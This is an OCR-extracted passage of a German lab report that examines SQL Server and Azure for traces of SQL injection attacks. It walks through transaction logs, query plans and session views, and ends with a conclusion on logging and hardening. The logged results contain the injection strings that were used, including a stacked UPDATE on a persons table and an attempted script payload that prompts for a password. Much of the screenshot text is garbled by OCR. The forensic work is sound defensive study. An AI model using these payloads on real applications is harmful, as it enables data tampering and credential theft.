SELECT degs. last_sxecution_tim Time], dest.TEXT 45 [Quary], dest.dbid

s.5ql_handle) 4S dest

execution_time, 126) LIKE '2822-2:

eutige Datum filte

Results  Messages

2022-02-16T17:45:24.2330000

(4 varchan(B000) @2 varchari 8000} 3 varchar{B00D), &4 ve

har(B000JUPOATE [T_Personen] set [VNam:

= @1 NName) = §2 WHERE [WMame]=
2022:02+16T17:45:24.2330000

3 AND Pitamel= B4
Selact* FROM [dbelIT Grsetstypen] WHERE Modsll LIGE " AND 1 = 0 LSDATE T Sersanen St

T conn.session_Sd, ssan.host
t.text, 150n.log!

VMame = ‘Unbekannt, NName = Unbekar

lame = Johry AND NNz = ‘ot

ss0n. login_nane,
atus, saon.database_id

¥5.dn_exec_conner
sys.du_exec,
o conn.session_id - &

sys.du_exec_sql_text(mast_recent_sql_handle) AS sqltxt
ORDER BY conn. session_id

Results

session id host_name login name teat login_time
54 M daenbankeniFor e tetypen] v 5

s6

DESKTOP-27GROM  atenbiankénilFor

* FROM [abal T Garastetypen] V-

2022

datenbarkeniiFer

Anders als beim Ausspahen von Daten via Select-Anweisung ist nun auch ein Eintrag im
Transaktion-Log vorhanden:

BEGIN TRANSACTION;

ansaction Name],
ansaction 0],
action SID],

WHERE ), [Begin Time], 126)
COMIIT;

Results  Message

Current LSN Operation

Transaction Name Transaction 1D

SPID  Bogin Time

0000:0000222!

Abfrageplan. Eine Anleitung zum Wiederherstellen geldschter Relationen oder Tupel anhand
der Attribute LSN und Tranaction ID ist in Kapitel Transaktions-Logs zu finden:

15 SELECT UseCounts, Cacheobjtype, Objtype, TEXT, query_plan
16 FROM sys.dm_exec_cached_plans

17 ( APPLY sys.dm_exec_sql_text(plan_handle)

18 APPLY sys.dm_exec_query_plan({plan_handle)

19

WHERE TEXT LIKE ‘XUpdate®'; -- Nur zur Filterung auf aktuell gesuchtes Statement benstigt.

Results  Messages

2 Search to filter items...

UseCounts  Cacheobjtype  Objtype  TEXT

query_plan

1 Compiled Plan  Adhoc SELECT UseCounts, Cacheobjtype, Objtype, TEXT, query_plan FROM sys.dm_exec_cached_plan... <ShowPlanXML xmins="http://schemas.microsoft.com/sglserver/2004/07/showplan” Ve
1 Compiled Plan  Adhoc SELECT UseCounts, Cacheobjtype, Objtype, TEXT, query_plan FROM sys.dm_exec_cached_plan... <ShowPlanXML xmins="http://schemas.microsoft.com/sqglserver/2004/07/showplan” Ve
1 Compiled Plan  Adhoc Select * FROM [dbol.[T_Geraetetypen] WHERE Modell LIKE " AND 1 = 0; UPDATE T Personen ..  <ShowPlanXML xmins="http://schemas.microsoft.comy/sglserver/2004/07/showplan” Ve
1 Compiled Plan  Prepared

(@1 varchar(8000),@2 varchar{8000),@3 varchar(8000),@4 varchar(8000)JUPDATE [T_Personen... <ShowPlanXML xmins="http://schemas.microscft.com/salserver/2004/07/showplan” Ve

Datenbankserver verandern

Der Angreifer hat in Kapitel Neuen Benutzer anlegen (Datenbankserver verandern) einen
neuen Nutzer angelegt. Datenbanknutzer kénnen entweder via SQL ...
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7 select name as username,

8 create_date,

9 modify date,

10 type_desc as type,

11 authentication_type_desc as authentication_type

12 from sys.database_principals

13 where type not in ('A',

14 and sid is not null
15 and name != 'guest'
16 order by username;

17

Ergebnisse  Nachrichten

'G', 'R', 'X')

‘ O Suchen, um Elemente zu filtern...

username create_date modify_date
dbo 2003-04-08709:10:42.2870000
hack 2022-02-16T720:44:53.9630000

2022-01-24721:08:19.4400000

2022-02-16T20:44:53.9630000

type

SQL_USER

SQL_USER

authentication_type
INSTANCE

DATABASE

... oder via SQL-Server-Management-Studio (links)/MS Azure Data Studio (rechts) die in der
Datenbank hinterlegten Nutzer einsehen:

Objekt-Explorer

o=

Verbinden~ ¥ *¥ Y ¢ M
Asymmetrische Schllissel
Zertifikate
Symmetrische Schltssel
Always Encrypted-Schlis:

Sicherheitsrichtlinien
= @ datenbanken
Datenbankdiagramme
Tabellen
Sichten
Externe Ressourcen
Synonyme
Programmierbarkeit
Abfragespeicher
] Erweiterte Ereignisse
Speicher
Sicherheit
=
& dbo
& guest
&8 hack
&2 INFORMATION_SCHEMA
& sys

EEEREREREHERBEE

]

File Edit View Help
CONNECTIONS

BB

~ SERVERS

~ B datenbanken.databasewindows.net.
Tables

Views

Synonyms

Programmability

External Resources

Storage

< vov v v v v

Security
~ W Users
&3 dbo
&2 guest
& hack
& INFORMATION_SCHEMA
R 5
~ 1 Roles
~ Ml Database Roles
&8 db_accessadmin
&9 db_backupoperator
&9 db_datareader
&8 db_datawriter
£8 db_ddladmin
&9 db_denydatareader
&8 db_denydatawriter
Z8 db_owner
&9 db_securityadmin
&8 public

~ PO

AuRerdem werden nach der Fehlerbehebung von Microsoft nun Sicherheitsalarme mit
zusatzlichen Informationen ausgelést:

Security alert =
@ Potential SQL Injection

High Active 02716722,

[ eT——

Microsoft deure 3 B Semch resousce, senices, g gecs (64

axy asn

Sourcaport [ —

Destinaton sert

Protocol
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Auch das Anlegen eines Users ist im Transaktion-Log einsehbar:

26 BEGIN TRANSACTION;
21 . SELECT [Current LSN],

22 [Operation],

23 [Transaction Name],

24 [Transaction ID],

25 [Transaction SID],

26 [sPID],

27 [Begin Time]

28 FROM  sys.fn_dblog(null,null
29 ./ WHERE CONVERT(VARCHAR(2S), [Begin Time], 126) LTKE '2022/02/17 87:1%" --
L]

31

22

Results  Messages

Auf den ungefshren Timestamp filtern,

- an dem das Statement

ausgefihrt wurde.

P search to filter items..

Current LSN

0000003F:000001D€:0001

00000D3F000001DE:0002

0000003F00000230:0001

0000003F:00000240:0004

Operation
LOP_BEGIN_XACT
LOP_BEGIN_XACT
LOP_BEGIN_XACT

LOP_BEGIN_XACT

Transaction Name
Backup:CommitLogArchivePoint
Backup:CommitLogArchivePoint
Backup/Restore History

CREATE USER

Transaction ID

00001

0000;

0000;

0000:00002324

Transaction SID SPID Begin Time

AQUAAAAAAAUVAAAAYMAN

AQUAAAAAAWOARARAAAAA. . B8 2022/02/17 O7:15:27:103

Ansonsten sind auch die in den vorherigen Kapiteln angesprochenen Quellen wie Log der

Webapplikation oder Abfrageplan erreichbar.

Anderungen am Filesystem
In Kapitel Identifizieren samtlicher installierter Pakete inklusive der Versionsnummern
(Anderungen am Filesystem) hat der Angreifer gliicklicherweise erfolglos versucht auf das
Dateisystem des Datenbankservers zuzugreifen. Glicklicherweise sind per Default alle
Funktionen fir den Zugriff auf das Dateisystem deaktiviert.

Einschleusen von beliebigem Code
Auch hier kann entspannt an die Sache herangegangen werden. Wie im vorherigen Kapitel
sind auch hier alle Funktionen zum Einschleusen von Code deaktiviert. Das verwendete
Razor-Framework der Webapplikation verhindert Cross-Site-Scripting-Attacken. Auf3erdem
kénnen in das Attribut Modell der Relation T_Geraetetypen nur max. 50 Byte eingefugt
werden. Dennoch werden derartige Update-Statements geloggt:

13 SELECT conn.session_id, sson.host_name, sson.login_name,

14 sqltxt.text, sson
15 FROM sys.dm_exec_c

_login_time, sson.status, sson.database_id

onnections conn

16 ER JOIN sys.dm_exec_sessions sson

17 ON conn.session_id -

szon.session_id

19  WHERE text Like '%codeX

28 ORDER BY conn.sess
a1

Results ~ Massages

ion_id

xec_sql_text(most_recent_sql_handle) AS sqltxt

2 search to filter items...

session_id h... login_name text

D... datenbank.. Select* FROM [dbol.[T_Geraetetypen] WHERE Modell LIKE " AND 1=0; Update T_Geraetetypen Set Medell = *<code> <script type = “text/javascript™> prompt(“bitte pw”, *"

i/

C...

login_time

2022-02-18T17:14:4..

Da das Statement allerdings fehlerhaft abgebrochen ist, wird kein Eintrag im Transaktions-
Log gespeichert.
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Fazit

Bei der Ausnutzung der Sicherheitsliicken konnten beide DBMS des Dockersystems, trotz
ihrer marginalen Unterschiede (z.B. Case Sensitivity bei MySQL), ohne grof3e Anpassung
der Anfragesyntax kompromittiert werden. So ist es sicher méglich die beiden verwendeten
Szenarien auch auf dem jeweils anderen DBMS durchzufuhren, ohne die genutzten
Statements merklich umformen zu missen.

Bei der Aufarbeitung der Vorfélle bieten beide DBMS Quellen, in denen sich Spuren finden
lassen, die helfen, den Vorfall aufzuklaren. Neben den hier auflaufenden Logdateien des
DBMS konnten auch Logdateien des Dockersystems selbst und die erzeugten FLASK-Logs
genutzt werden. In einer Produktivumgebung wiirden letztere jedoch vermutlich aus
Logdateien namhafter Webserver (z.B. Apache, IIS) stammen.

Zu erwéhnen ist jedoch, dass in der Standardkonfiguration viele der Logfunktionen nicht
aktiviert waren, bzw. so konfiguriert waren, dass nur in geringerem Umfang Vorgéange
mitprotokolliert wurden. In einem Produktivsystem wirden hier vermutlich
Sicherheitsbedenken und die Effizienz des eingesetzten Datenbanksystems gegeneinander
abgewogen werden mussen.

Zum verwendeten Dockersystem selbst kann sowohl positives wie auch negatives Feedback
gegeben werden. Das System war schnell einsatzbereit, leicht zu bedienen und portabel. Es
mussten jedoch einige Anpassungen vorgenommen werden, um die gestellten Aufgaben so
zu bearbeiten, wie gefordert. Als hinderlich wurde die Tatsache wahrgenommen, dass
Anderungen innerhalb des Dockercontainers (z.B. Anpassungen in den DBMS
Konfigurationsdateien) beim Neustart des Containers nicht mehr vorhanden waren. Solche
Neustarts waren etwa immer dann noétig, wenn die Datenbank-Docker-Sitzungen einfroren,
so dass die Datenbank nicht mehr ansprechbar war, was durch diverse Datenbankanfragen
durchaus haufig vorkam.

Die Syntax beim SQL-Server ist ahnlich zu MySQL und PostgreSQL. Microsoft bietet mit
dem SQL-Server das deutlich professionellere Datenbanksystem, mit unzahligen, nitzlichen
Funktionen fir die tagliche Arbeit. Fir kleine, unkritische Anwendungen kann die Datenbank
allerdings auch zu Uberdimensioniert sein. Logging, Einsehen von Transaktionen,
Abfrageplanen und sonstigen Aktivitaten erfolgt auf diversen (toolgestiitzten) Wegen und ist
durch Konfigurationen einfach auf die eigenen Bedirfnisse anpassbar. Funktionen zum
Zugriff auf das Dateisystem oder Ausfiihren von Code sind per Default deaktiviert. Alle
anderen Angriffe konnten erfolgreich durchgefuhrt werden, hier sind die Rechte des Nutzers
entscheidend.

Die Frameworks der Beispiel-Webapplikationen mit Flask (Python) oder Razor (C#) besitzen
per Default einige aktivierte Sicherheitsfeatures wie bspw. Mechanismen gegen Cross-Site-
Scripting-Attacken. Die Webapplikationen kénnen durch Drittanbieterbibliotheken einfach mit
bendtigter Logging-Funktionalitat erweitert werden.

Die Cloud-Umgebung MS Azure vergrofRert den Funktionsumfang weiter. Als Beispiel ist hier
Log Analytics zu nennen. Das Erstellen, Initialisieren und Konfigurieren einer Datenbank ist
sehr einfach. Microsoft bietet fir sdmtliche Themen umfangreiche Online-Dokumentationen,
Step-by-Step-Guides und Best Practices. Es ist sehr angenehm mit den IDEs wie Visual
Studio oder das MS Azure Data Studio zu arbeiten. Dank der Cloudtechnologie ist die
Datenbank von Uberall aus erreichbar, was Fluch und Segen sein kann. Die Firewall kann
mit erlaubten IP-Adressen konfiguriert werden. Leider konnten die Uberwachungsfunktionen
aufgrund technischer Probleme in MS Azure nicht getestet werden.

Alles in allem kann jedoch festgehalten werden, dass alle Datenbanksysteme nicht gegen
einen SQL-Injection-Angriff schiitzen, Entwickler stets eigenstandig ihre Applikationen
absichern und das Datenbanksystem durch Konfiguration harten missen. Wichtig ist auch,
dass die Verfahrensuser der Applikation nur die wirklich bendtigten Rechte besitzen.
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